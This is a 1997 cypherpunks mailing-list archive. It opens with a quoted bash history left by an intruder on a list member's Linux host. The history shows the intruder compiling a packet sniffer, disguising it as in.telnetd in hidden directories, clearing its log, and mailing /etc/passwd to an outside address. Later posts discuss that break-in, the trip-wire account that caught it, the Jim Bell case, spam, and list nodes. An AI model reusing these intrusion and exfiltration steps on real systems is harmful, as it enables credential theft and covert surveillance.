> > > > mv perl-ex.sh /tmp/.bgg
> > > > mkdir /tmp/.bg
> > > > cd /tmp
> > > > cd .bg
> > > > ls
> > > > lynx
> > > > ls
> > > > gcc linsniffer.c 
> > > > ls
> > > > ps
> > > > who
> > > > w
> > > > ps aux
> > > > a.out &
> > > > ls
> > > > ifconfig
> > > > /sbin/ifconfig
> > > > ls
> > > > tail -f tcp.log 
> > > > free
> > > > ls
> > > > cat tcp.log 
> > > > cd ..
> > > > ls
> > > > w
> > > > cd
> > > > cd ..
> > > > ls
> > > > cd ..
> > > > cd /etc
> > > > ls
> > > > minicom
> > > > cd ..
> > > > ls
> > > > cd cdrom.
> > > > cd cdrom
> > > > ls
> > > > cd ..
> > > > cd
> > > > ls
> > > > cd bin
> > > > ls
> > > > cd ..
> > > > cd ..
> > > > ls
> > > > w
> > > > finger
> > > > cd Pphantom
> > > > cat /etc/passwd | grep Pphantom
> > > > cd phantom
> > > > ls
> > > > ls -al
> > > > cat .bash_history 
> > > > cd /etc
> > > > cat hosts
> > > > ls
> > > > cd /tmp
> > > > cd .bg
> > > > cat tcp.log 
> > > > exit
> > > > cd .bg
> > > > ls
> > > > w
> > > > ls
> > > > ls -al
> > > > cat tcp.log 
> > > > ifconfig
> > > > /sbin/ifconfig
> > > > ls
> > > > exit
> > > > mv x.sh /tmp
> > > > cd .bg
> > > > ls
> > > > cd /tmp
> > > > ls
> > > > mv x.sh .bg
> > > > cd .bg
> > > > ls
> > > > kill -9 14523
> > > > ps aux
> > > > mv a.out in.telnetd
> > > > ls
> > > > rm tcp.log 
> > > > ./in.telnetd &
> > > > exit
> > > > pico tcp.log 
> > > > ls
> > > > ps aux
> > > > kill -9 16282
> > > > ls
> > > > ./in.telnetd &
> > > > exit
> > > > cat /dev/null > tcp.log
> > > > w
> > > > exit
> > > > pico tcp.log 
> > > > ls
> > > > ls -al
> > > > cd /etc
> > > > cat passwd
> > > > mail dkny007 at hotmail.com < passwd
> > > > exit
> > > > w
> > > > ls -al
> > > > pico tcp.log 
> > > > echo /dev/null > tcp.log 
> > > > ls -al
> > > > ps aux
> > > > quit
> > > > exit
> > > > id
> > > > w
> > > > ftp 
> > > > ls
> > > > mkdir /home/ftp/.tmp
> > > > mkdir /home/ftp/.tmp/.sub
> > > > mv linsniff /home/ftp/.tmp/.sub/
> > > > cd /home/ftp/.tmp/.sub/
> > > > mv linsniff in.te1netd
> > > > ls -l
> > > > chmod 755 in.te1netd 
> > > > in.te1netd &
> > > > ps
> > > > ps aux
> > > > killall in.te1netd
> > > > ls
> > > > ls -a
> > > > ls -l
> > > > in.te1netd &
> > > > /home/ftp/.tmp/.sub/in.te1netd
> > > > /home/ftp/.tmp/.sub/in.te1netd
> > > > ls -s
> > > > rm in.te1netd 
> > > > cd
> > > > ls
> > > > mv hello .h311o
> > > > ftp 
> > > > ls
> > > > mv linsniffer.c /home/ftp/.tmp/.sub/
> > > > cd /home/ftp/.tmp/.sub
> > > > ls
> > > > cc linsniffer.c 
> > > > mv a.out in.te1netd
> > > > chmod 755 in.te1netd 
> > > > ls
> > > > rm linsniffer.c 
> > > > in.te1netd &
> > > > exit
> > > > cd ..
> > > > mv apache.tgz .bg
> > > > cd .bg
> > > > ls
> > > > tar xfvz apache.tgz 
> > > > cd apache_1.2b10/
> > > > ls
> > > > cd src
> > > > make
> > > > ls
> > > > ./Configure 
> > > > make
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd cgi-bin/
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd ..
> > > > ls
> > > > w
> > > > rm -rf apache*
> > > > lynx
> > > > ls
> > > > tar xfvz apache_1.1.3.tar.gz 
> > > > cd apache_1.1.3
> > > > ls
> > > > cd src
> > > > ls
> > > > ./Configure 
> > > > make
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd ..
> > > > ls
> > > > rm -rf apache_1.1.3
> > > > ls
> > > > rm -rf apache_1.1.3.tar.gz 
> > > > w
> > > > exit
> > > > kill -9 14551
> > > > ls
> > > > ls -al
> > > > cd ..
> > > > ls
> > > > cd /home
> > > > ls
> > > > cd ftp
> > > > ls -al
> > > > cd .tm[p
> > > > cd .tmp/
> > > > ls
> > > > ls -al
> > > > cd .sub/
> > > > ls
> > > > rm *
> > > > cd ..
> > > > cd ..
> > > > rm -rf .tmp/
> > > > ls
> > > > cd
> > > > ls
> > > > cd /root
> > > > ls
> > > > cd ssz
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd pgp
> > > > ls
> > > > cd ..
> > > > cd etc
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd /
> > > > ls
> > > > exit
> > > > id
> > > > crontab -e
> > > > ls
> > > > vi .sub
> > > > crontab -e
> > > > ls
> > > > cat /home/ftp/.tmp/.sub/tcp.log
> > > > ps aux
> > > > who
> > > > cd /home/ftp
> > > > ls -a
> > > > mkdir .tmp/.sub
> > > > mkdir .tmp
> > > > cd .tmp
> > > > exit
> > > > cd
> > > > ls
> > > > cd /root
> > > > ls
> > > > cd khg-0.5/
> > > > ls
> > > > cd ..
> > > > cat .bash_history 
> > > > ls
> > > > cd /etc
> > > > ls
> > > > cat hosts
> > > > exit
> > > > 
> > > >
> > > >
> > > >
> > > 
> > 
> 



	- Igor.






From alan at ctrl-alt-del.com  Fri May 23 23:43:15 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sat, 24 May 1997 14:43:15 +0800
Subject: Timmy and the OKC Actions
Message-ID: <3.0.2.32.19970523233136.00899cc0@mail.teleport.com>


At 03:29 PM 5/23/97 -0700, you wrote:
>At 10:56 AM -0700 5/23/97, Huge Cajones Remailer wrote:
>>  The US is still reeling from OK City.  Tried as it might, the US gov't
>>couldn't find an outside enemy to pin it to.  Whether
>>Timmy did it or not is again irrelevant, they needed to find
>  ^^^^^^^^^^^^^^^^^^^
>>someone to blame and did.  Now that it's the defenses turn, it
>...
>
>Hey, I _didn't_ do it. Honest. No fooling. I was more than 30 miles away
>when that blast went off, and you can't place me in OKC anytime that
>morning.

Then why was Lassie in the background of the pictures of the blast?  (You
can see her doing somersaults through the air, hurled like so much
Jagermeister.)  And what about the truck driven by June Lockhart?  And that
robot waving his arms yelling "Danger! Danger!"

Oops...  Sorry. Wrong Timmy.


---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From blancw at cnw.com  Sat May 24 00:06:28 1997
From: blancw at cnw.com (Blanc)
Date: Sat, 24 May 1997 15:06:28 +0800
Subject: Key Recovery / The True Story
Message-ID: <3.0.32.19970523234946.0072e5bc@cnw.com>


Ernest Hua wrote:

>    Is it EVER okay for spooks to break into a church's computer to
>    find out if they are secret terrorists?
..................................................................


Is there a Universal Authority who can definitively answer questions like
this, so that we can know what is right/wrong and win philosophical debates?

Ask any person/organization, and they will provide the answer which they
feel comfortable with.   Those who choose to uphold certain standards of
behavior will reply in reference to a concern for the violation of these
ideals; those who only deal with action in practical cause/effect scenarios
will reply in terms of their immediate concerns for physical safety from
terrorists wherever/however one may route them.

Some people's perspectives are short & narrow, some people see things in a
larger, integrated context.  Each will answer according to their ability to
evaluate antecedents & consequents.   Eventually, one must decide for
oneself what one will choose to live with, to tolerate.


    ..
Blanc






From kent at songbird.com  Sat May 24 00:12:33 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 24 May 1997 15:12:33 +0800
Subject: The Bell Plan
In-Reply-To: <199705231935.PAA07649@dhp.com>
Message-ID: <19970523234634.53126@bywater.songbird.com>


On Fri, May 23, 1997 at 03:35:04PM -0400, lucifer Anonymous Remailer said:
>-----BEGIN PGP SIGNED MESSAGE-----
>
[clever forgery deleted]

>GovernmentMonger
>
>
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>-----END PGP PUBLIC KEY BLOCK-----

Please note that the above key/sig is not mine.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From blancw at cnw.com  Sat May 24 00:13:39 1997
From: blancw at cnw.com (Blanc)
Date: Sat, 24 May 1997 15:13:39 +0800
Subject: The Natives Are Getting Restless
Message-ID: <3.0.32.19970523233006.00731ae4@cnw.com>


some using Huge Cajones Remailer wrote:

>List members should be the first to rise above the base tactics of 
>the enemy. We need to develop a language of inclusion that unites all 
>of these seemingly disparate peoples against the common enemy.
..................................................


Typical collectivist thinking, the other side of  "good cop/bad cop".    

There is nothing wrong with having a separate identity.    Neither is there
a need to have a common enemy.


    ..
Blanc






From lucifer at dhp.com  Sat May 24 01:10:43 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 24 May 1997 16:10:43 +0800
Subject: Jim Bell Complaint
Message-ID: <199705240750.DAA16059@dhp.com>


John Young wrote:
> 
> William Geiger wrote:
> 
> >After reading the complaint I have to say that with friends like that
> >who needs enemies?
> 
> True, if that's what the friends actually said, and if they were
> not induced to do so by being fed lethal information: don't
> go down with Bell, protect yourself, spill your guts.
> 
> Turning friends against friends is pretty common in
> investigations, using threats and promises of relief
> from possible charges, even saying that your friend is
> squealing on you.

  I have mostly lurked on the list for several years without doing very
much posting. I am employed in an area of law enforcement where I don't
get involved with the the darker side of the process but I often listen
to others who talk about various methods they use to make a case against
somebody they have decided to "get."
  It is well known that if the information provided in an initial
interview of a potential witness is not damaging enough that veiled
threats implying the person being interviewed will be going along for
the ride is enough to induce them to spill whatever beans the
investigator is after.
  I recognize the need to lean on those who are witholding needed
information but the method is often used to trump up the most outrageous
accusations and manufactured evidence imaginable. Add to this the fact
that most of us have at some point made statements that we would like to
"kill" a certain individual and similar off the cuff statements and
almost anyone can look very guilty of almost anything.
  Since I initially recognized the federal action against Mr. Bell as an
all out effort to get him no matter what the cost I was not surprised to
see that the first interviews with his friends were fairly tame material
and the second interviews were very damaging to Mr. Bell. Once you put
enough fear into people their memories become very creative.
 
> I was struck by how similar some remarks attributed to
> Bell were to those attributed to McVeigh, not that they
> were not made, but that the investigators chose to
> select just those to indicate lethal intent.

  I have worked with a sufficient volume of evidence in all manner of
cases that I am convinced that any paramilitary or military type of
person could be arrested and one would be able to duplicate much of the
evidence that is being introduced in the McVeigh case. I think that if
McVeigh and Bell traded places that each would still be convicted of
some of the charges against them. I have seen carnivorous prosecuters
turn totally ambiguous evidence into a smoking gun against very average
people even without the ferocious intent that the government has in the
McVeigh and Bell cases to produce a conviction at any cost.
 
> The IRS searching the Internet for incriminating advocacy
> is a warning of what's to come, as often predicted here.

  In my time on the list I have noticed that and it was particularly
brought home to me when I read the story posted to the list called
"Webworld and the Circle of Unuchs." I think the author must be one of
the list spooks because the connections he makes or makes up are
strikingly similar to those which would be conjectured by a good
evidentiary analyst.
  I used to print cypherpunk posts for a fellow employee who works
computer crime cases and he would demean them because they weren't
technical enough for his taste. Now he follows the list religiously
because it lets him know whats going on and where things are going with
privacy and encryption.

> Time to study and ponder the 1st Amend -- which, by the way,
> Matt Blaze did at the NYC crypto forum last night to challenge
> Charney and Denning. Matt pulled out a copy and cited
> it, which may be a good indication of what he knows that
> we don't about what's coming.

  What I learn on my job is a world apart from the publics perception of
what goes on in law enforcement. It is scary to realize how many people
suffer terribly just because they are so trusting in the system when the
system doesn't really care in many cases. I am certain that it must be
just as true and more at higher levels of government where we see and
know so little of what really takes place behind the scenes.
  If I had to work in an area of law enforcement where I faced pressure
to do many of the things that others do to produce convictions I don't
think I would last very long. At least I hope I wouldn't.






From kent at songbird.com  Sat May 24 01:13:58 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 24 May 1997 16:13:58 +0800
Subject: Geiger learns to read (was Re: spam is a good thing)
In-Reply-To: <19970522144701.16280@bywater.songbird.com>
Message-ID: <19970524005533.59448@bywater.songbird.com>


On Fri, May 23, 1997 at 08:29:59AM -0500, William H. Geiger III wrote:
>In <19970522144701.16280 at bywater.songbird.com>, on 05/22/97 
>   at 03:47 PM, Kent Crispin  said:
[...]
>>Your analogy is flawed in many ways.  1) The entities entering your 
>>house have an identity; what is actually entering your computer 
>>equipment is just bits, which have no identity.  Spamfords bits are  no
>>different than anyone elses.  2) By the very act of connecting to  the
>>network you agree to recieve any bits that are automatically  routed to
>>you.

Note the "automatically routed" clause.

>No not at all. Just because I am connected to the network I am under no
>obligation to accept a single bit.

The only way you can really accomplish that is to disconnect.  The 
interface/modem/whatever in your computer blindly receives the bits that 
are sent to it.  There isn't a thing you can do about it except 
disconnect.  (I consider turning your machine off as disconnecting.)

[...]
>Obviously you have not ever entered into contract agreements with an
>accesses provider.

Jeez.  I *am*, in my small way, an access provider.  And, of course, 
I have a contract with my upstream.

>There is no obligation on my part to receive a single
>bit.

You don't read very well, do you?  I said "automatically routed 
bits".  You can't stop receiveing those bits unless you turn your 
machine off.

>If I never run a sendmail daemon then I will never receive a single
>e-mail message regardless of how many are aimed at my servers. This is the
>same with any TCP/IP service.

Yes, because the network layer negotiation doesn't complete the 
connection, and the other side agrees to stop sending.  Basically, you 
have convinced the other side to stop sending.  You still receive any bits 
on the wire, and the only way you can stop that is by disconnecting.

>The only obligation I have with my upstream
>provider is to pay my bill. If I choose to bounce everything that is
>routed from Spamford it is my right to do so as it is *MY* equipment.

Good, though trivial, point.  Not what I was talking about, though.

[...]

>>Identification isn't the problem at all.  The problem is that you  have
>>no grounds on which to base a suit.  Just as you can't sue me for 
>>sending this mail -- it's an exchange you entered into of your own  free
>>will.
>
>For the occasional spam then a lawsuit would be pointless. If you decided
>to dump 10,000 messages a day and deny the use of my equipment by myself
>and my clients then I would have a very strong case for litigation. You
>seem to forget that this is MY equipment and it is you who have no rights
>regarding the use of it. I have the final say so as to who uses it and
>how.

[...]

>>All flawed analogies.  You *did* agree to recieve mail -- in fact,  that
>>is one of the primary uses of your computer -- and you did *not*  place
>>any restrictions on that connection.  Furthermore, you can't -- 
>>no one will sell you an internet connection at any level where they 
>>will accept a contractual obligation to keep spam from getting to you.
>
>Once again it is you who have it wrong. I have agreed to nothing other than to >pay my bill for my connection. If Cyberpromo starts filling my clients mailboxe>s with spam and tieing up bandwidth I am under an obligation to my client to st>op him from doing so. My obligation is to my clients to provide the services th>ey have paid for. I would be remiss in my duties if I allowed such actions to c>ontinue both to my contractual obligations to my clients but also my feudatory 

You mean "fiduciary", I presume.  But "feudatory" is cute.

>responsibilities to the stockholders of my corporation.

Recall that -- what is it? CyberPromo -- sued AOL, and forced them to 
not block their spam...though I guess AOL was able to give their 
customers the ability to block, and there was an appeal -- I don't 
remember the details anymore...

>You do not have a right to send mail to my system I have an obligation to my cl>ients to allow them to receive mail. This is a important distinction that needs> to be made. You have no rights regarding the use of my equipment. Furthermore >if your actions deprive the use of my equipment by myself and my clients you ca>n find yourself both financially and criminally liable.

I agree that if I flood your box with the intent of denying service I 
would be liable.  That's not the normal mode of spammers, though.  
As an individual you only receive one or a very few copies of a 
particular message.  It's just that there are a great many messages.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Sat May 24 01:30:21 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 24 May 1997 16:30:21 +0800
Subject: The Bell Plan
Message-ID: <199705240808.CAA13533@wombat.sk.sympatico.ca>


On Fri, May 23, 1997 at 03:35:04PM -0400, lucifer Anonymous Remailer
said:
>
[clever forgery deleted]

>GovernmentMonger
>
>-----BEGIN PGP PUBLIC KEY BLOCK-----
>Version: 5.0 beta
>
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>VZyZEXJMg3KGKsoHoQAFEbQgS2VudCBDcmlzcGluIDxrZW50QHNvbmdiaXJkLmNv
>bT4=
>=Nj/m
>-----END PGP PUBLIC KEY BLOCK-----

Please note that the above key is not mine.

--
Kent Crispin                            "No reason to get excited",
kent at songbird.com                       the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From aba at dcs.ex.ac.uk  Sat May 24 02:02:20 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 24 May 1997 17:02:20 +0800
Subject: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705232305.SAA08354@manifold.algebra.com>
Message-ID: <199705240001.BAA03399@server.test.net>



Igor Chudov  writes:
> Adam Back wrote:
> > Igor Chudov  writes:
> > >
> > > plz do not use bcc
> > 
> > Why not?  It is quite convenient for coping with the non-cross posting
> > policy of other groups.
> > 
> > Also what is it with the  forwards, why
> > are these coming to the list forwarded from that address?  Are they
> > things which failed your procmail filter manually forwarded
> > afterwards?
>
> the answer is that it happens because of my spam filter for cypherpunks.
> 
> you would not believe how much spam it catches... and bogus mailing
> lists that cypherpunks were sub-scri-bed to...
> 
> the theory behind it is that if something was not sent to cypherpunks
> explicitly, it most likely does not belong there.
> 
> naturally, I DO forward all stuff that belongs there to the list.

I see.

Any chance you could fix the forwards up so they look like normal
posts?  Maybe stuff them into a file which procmail picks up without
doing the spam check?

I'm not sure why someone would want to do a Bcc
cypherpunks at algebra.com and Cc coderpunks at toad.com because (if I have
this right) it'll be cypherpunks which sees the Cc coderpunks, and
people on cypherpunks will auto-repy to coderpunks, which is the
opposite of what people on coderpunks want.  What people should do is
Bcc coderpunks (or cryptography) for this purpose.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <3.0.2.32.19970524065907.037eb0fc@panix.com>


At 07:37 PM 5/23/97 -0400, John Young wrote: 
>We offer the May 16 complaint against Jim Bell: 
> 
>   http://jya.com/jimbell3.htm 
> 
>The complaint draws upon previous search warrants 
>at Greg Broiles's site: 
> 
>   http://www.parrhesia.com/jimbell/ 

"Beginning at a time unknown, and continuing to the present, at Vancouver, within the Western District of Washington and elsewhere, JAMES DALTON BELL did corruptly obstruct and impede and endeavor to obstruct and impede the due administration of the internal revenue laws, among other things, by collecting the names and home addresses of agents and employees of the Internal Revenue Service ("IRS") in order to intimidate them in the performance of their official functions;"

Maybe he just wanted their addresses so he could "petition the government for redress of greivances."  Isn't it legal to picket the homes of government employees?

DCF






From ichudov at algebra.com  Sat May 24 05:10:14 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 20:10:14 +0800
Subject: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705240001.BAA03399@server.test.net>
Message-ID: <199705241203.HAA13929@manifold.algebra.com>


Adam Back wrote:
> Igor Chudov  writes:
> > Adam Back wrote:
> > > Igor Chudov  writes:
> > > >
> > > > plz do not use bcc
> > > 
> > > Why not?  It is quite convenient for coping with the non-cross posting
> > > policy of other groups.
> > > 
> > > Also what is it with the  forwards, why
> > > are these coming to the list forwarded from that address?  Are they
> > > things which failed your procmail filter manually forwarded
> > > afterwards?
> >
> > the answer is that it happens because of my spam filter for cypherpunks.
> > 
> > you would not believe how much spam it catches... and bogus mailing
> > lists that cypherpunks were sub-scri-bed to...
> > 
> > the theory behind it is that if something was not sent to cypherpunks
> > explicitly, it most likely does not belong there.
> > 
> > naturally, I DO forward all stuff that belongs there to the list.
> 
> I see.
> 
> Any chance you could fix the forwards up so they look like normal
> posts?  Maybe stuff them into a file which procmail picks up without
> doing the spam check?

A good point. I will write a shell script for that when I get time.

> I'm not sure why someone would want to do a Bcc
> cypherpunks at algebra.com and Cc coderpunks at toad.com because (if I have
> this right) it'll be cypherpunks which sees the Cc coderpunks, and
> people on cypherpunks will auto-repy to coderpunks, which is the
> opposite of what people on coderpunks want.  What people should do is
> Bcc coderpunks (or cryptography) for this purpose.

I would agree with this.

	- Igor.






From rah at shipwright.com  Sat May 24 05:52:51 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 24 May 1997 20:52:51 +0800
Subject: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970524015414.00745f94@pop.pipeline.com>
Message-ID: 


At 9:54 pm -0400 on 5/23/97, John Young wrote:


> We missed deleting one cite of Jim's "true" SSN
> in the complaint, which has now been done. Those
> who got early copies, consider ***-ing the num.

Of course, we could all just memorize it, and use it, um, liberally...

:-).

"It says here, Mr. Bell, that you were working in both Santa Clara and
Rockport on the same day. Can you explain that? What about all these bank
accounts with your SSID on them?"

Cheers,
Bob

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From service at guardian-global.net  Sat May 24 20:55:37 1997
From: service at guardian-global.net (Guardian Global Telecommunications)
Date: Sat, 24 May 1997 20:55:37 -0700 (PDT)
Subject: GUARANTEED! 10.9cpm Long Distance Rates To "All 50 States" - 24 hrs - No Fees...
Message-ID: <199705242040.QAA08305@Q2I>



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____________________________________________________







From dlv at bwalk.dm.com  Sat May 24 06:05:40 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 24 May 1997 21:05:40 +0800
Subject: System Attack & FBI (fwd)
In-Reply-To: <199705240556.AAA11857@manifold.algebra.com>
Message-ID: <9mk87D9w165w@bwalk.dm.com>


ichudov at algebra.com (Igor Chudov @ home) writes:
...
> I hope that the hacker did not leave any other trojans besides rogue Apache
> and in.telnetd.
...
The cracker installed Stronghold[tm] on Jim's system?  How despicable!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ravage at EINSTEIN.ssz.com  Sat May 24 06:38:10 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sat, 24 May 1997 21:38:10 +0800
Subject: System Attack & FBI (fwd)
Message-ID: <199705241250.HAA23075@einstein.ssz.com>


Forwarded message:

> Subject: Re: System Attack & FBI (fwd)
> From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Sat, 24 May 97 08:31:31 EDT

> ichudov at algebra.com (Igor Chudov @ home) writes:
> ...
> > I hope that the hacker did not leave any other trojans besides rogue Apache
> > and in.telnetd.
> ...
> The cracker installed Stronghold[tm] on Jim's system?  How despicable!

The cracker installed nothing. From the first time they used the bbixler
account I have known of them.

Another interesting aspect is that since taking on the CDR I have had 3
attacks (previous ones were denial of service) while in the year previous
to that I had only one. I think there is an object lesson buried in there
somewhere.

What I want to know is if he ever realized he was running on a 486DX2/80
w/ 24M of RAM, 1G of hard-drive, and a version of Linux that is over 2 years
old? What a rube...

The bbixler account was a trip-wire with a very silly password intentionaly
left there (as are several others) just waiting for some happy jack to find
one. I also do this with my IP's. It is actualy very effective.

I once nabbed a bozo from the Richardson, Tx AT&T office who was using my
system to get to other systems. I was monitoring the account and noticed an
email go out to a buddy of his with his office number in it. I called, he
shit bricks, I asked for money or that he desist from using my system. He
desisted.

I also have a pretty quick re-install plan as well. I have a basic image
on a spare drive installed in the box. Swap cables and we are back up.
I can do a complete re-install and be configured in about 3 hours from CD
archives and the original source material which is on machines not on the
Internet (it's my Amiga 2000). This does not include the user home
dir's which I don't protect, with the users full knowledge and agreement.
Their data, their problem (I push fast cycle times, the use of off-line
encryption for security, and digital signing for authority); I provide
services only and TEMPORARY file storage on my file systems.

Linux on old 486's is wonderful!

                                                       Jim Choate
                                                       CyberTects
                                                       ravage at ssz.com






From ravage at EINSTEIN.ssz.com  Sat May 24 06:44:15 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sat, 24 May 1997 21:44:15 +0800
Subject: Too few cypherpunks nodes. (fwd)
Message-ID: <199705241301.IAA23110@einstein.ssz.com>


Forwarded message:

> Subject: Too few cypherpunks nodes.
> Date: Sat, 24 May 1997 00:49:16 -0500 (CDT)
> From: ichudov at algebra.com (Igor Chudov @ home)

> As the time goes on and I see what is happening inside and outside our
> list, I am getting increasingly concerned about the small number of hosts
> in the cypherpunks network.
> 
> Practically, most of the people use only two nodes, Kent's and mine, and
> thanks to Jim, we have three operating ones. I do not believe that it is
> good enough.
> 
> If anyone has any creative idea of how to get a couple more reliable
> nodes, please share it.

I agree fully. I know of at least one other indipendant node that will be
coming up in the near future. I am also in the process of putting in a
satellite location to my current site about 30 miles east of Austin to
better serve that part of the community. That site is intended among other
things to host backup servers for the various services of CyberTects. Among
these will be a server to run the various mailing lists in case of a primary
site incident. It will currently be connected via modem but a switch to ISDN
or ADSL is in the works. We also hope to kick the primary SSZ site up from
ISDN to ADSL in the near future as well. I can't at this time provide even
tentative go-live dates, but I will be digging a power trench there this
afternoon if it quits raining, then we have to install the phones and air
conditioner.

Things are improving but only slowly.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage at ssz.com






From aba at dcs.ex.ac.uk  Sat May 24 07:09:56 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 24 May 1997 22:09:56 +0800
Subject: Too few cypherpunks nodes.
In-Reply-To: <199705240549.AAA11795@manifold.algebra.com>
Message-ID: <199705241310.OAA01190@server.test.net>



Igor Chudov  writes:
> As the time goes on and I see what is happening inside and outside our
> list, I am getting increasingly concerned about the small number of hosts
> in the cypherpunks network.
> 
> Practically, most of the people use only two nodes, Kent's and mine, and
> thanks to Jim, we have three operating ones. I do not believe that it is
> good enough.

Does anyone know how many people are using Jim's cypherpunks at ssz.com?
If you send `who cypherpunks' to it you get back an empty mail.  But
he has stated that he does this on purpose to protect the privacy of
his subscribers...  It would still be nice to know how _many_ are on
ssz.com as opposed to _who_ is on ssz.com, just to know approx. the
architecture of the lists for such purposes.

Also I might point out that the afforded privacy is mostly illusionary
because any TLA who cared could observe the mail fanning out from
ssz.com with Sender: cypherpunks-owner at ssz.com and reconstruct the
list in short order.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


Forwarded message:

> Date: Sat, 24 May 1997 14:10:59 +0100
> From: Adam Back 
> Subject: Re: Too few cypherpunks nodes.

> Does anyone know how many people are using Jim's cypherpunks at ssz.com?

I don't even check, less than 100 for shure and probably less than 25.
Don't remember seeing that many notices of subscription to the cpunks list.
There are a LOT of info and help requests though.

> Also I might point out that the afforded privacy is mostly illusionary
> because any TLA who cared could observe the mail fanning out from
> ssz.com with Sender: cypherpunks-owner at ssz.com and reconstruct the
> list in short order.

True, but in that case they can simply walk in with a subpeonae and take it
as well, it is sitting there in a plain text file. The reason I do this is to
minimize spammings and other such attacks it is not to protect anyone from a
truly determined assault but rather from those marketing idiots out there
with no clue as to anything close to reasonable behaviour.

And yes, I realize that this can be defeated by simply subscribing to the
mailing list and watching your incoming as you reference above.
(Hint: I ain't a marketing weenie)

There are other boogey-men than just TLA's....who in my opinion are the
easiest to deal with.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage at ssz.com






From 30375650 at themoon.com  Sat May 24 23:35:08 1997
From: 30375650 at themoon.com (30375650 at themoon.com)
Date: Sat, 24 May 1997 23:35:08 -0700 (PDT)
Subject: Send your email at up to 250,000 messages / hour
Message-ID: <199702170035.GAA08056@themoon.com>


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=================================================
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From mixmaster at remail.obscura.com  Sat May 24 09:06:33 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Sun, 25 May 1997 00:06:33 +0800
Subject: No Subject
Message-ID: <199705241515.IAA03319@sirius.infonex.com>


bite your penis.

        _  O     O  _
         \-|-\_/-|-/  Timothy May
          /^\   /^\
         ^^ ^^ ^^ ^^






From owner-cypherpunks  Sun May 25 01:38:19 1997
From: owner-cypherpunks (owner-cypherpunks)
Date: Sun, 25 May 1997 01:38:19 -0700 (PDT)
Subject: Check this one out!
Message-ID: <199705250837.EAA31134@netrail.net>



You have got to check out this awesome 
web page I found!!!
CLICK HERE TO GO TO THE WEB PAGE !!! 

[ you must be over 18 years of age to access it.  :) ]







From real at freenet.edmonton.ab.ca  Sat May 24 10:46:17 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 25 May 1997 01:46:17 +0800
Subject: your mail
In-Reply-To: <199705241515.IAA03319@sirius.infonex.com>
Message-ID: 



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 24 May 1997, Mix wrote:

> bite your penis.
> 
>         _  O     O  _
>          \-|-\_/-|-/  Timothy May
>           /^\   /^\
>          ^^ ^^ ^^ ^^
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From whgiii at amaranth.com  Sat May 24 11:42:58 1997
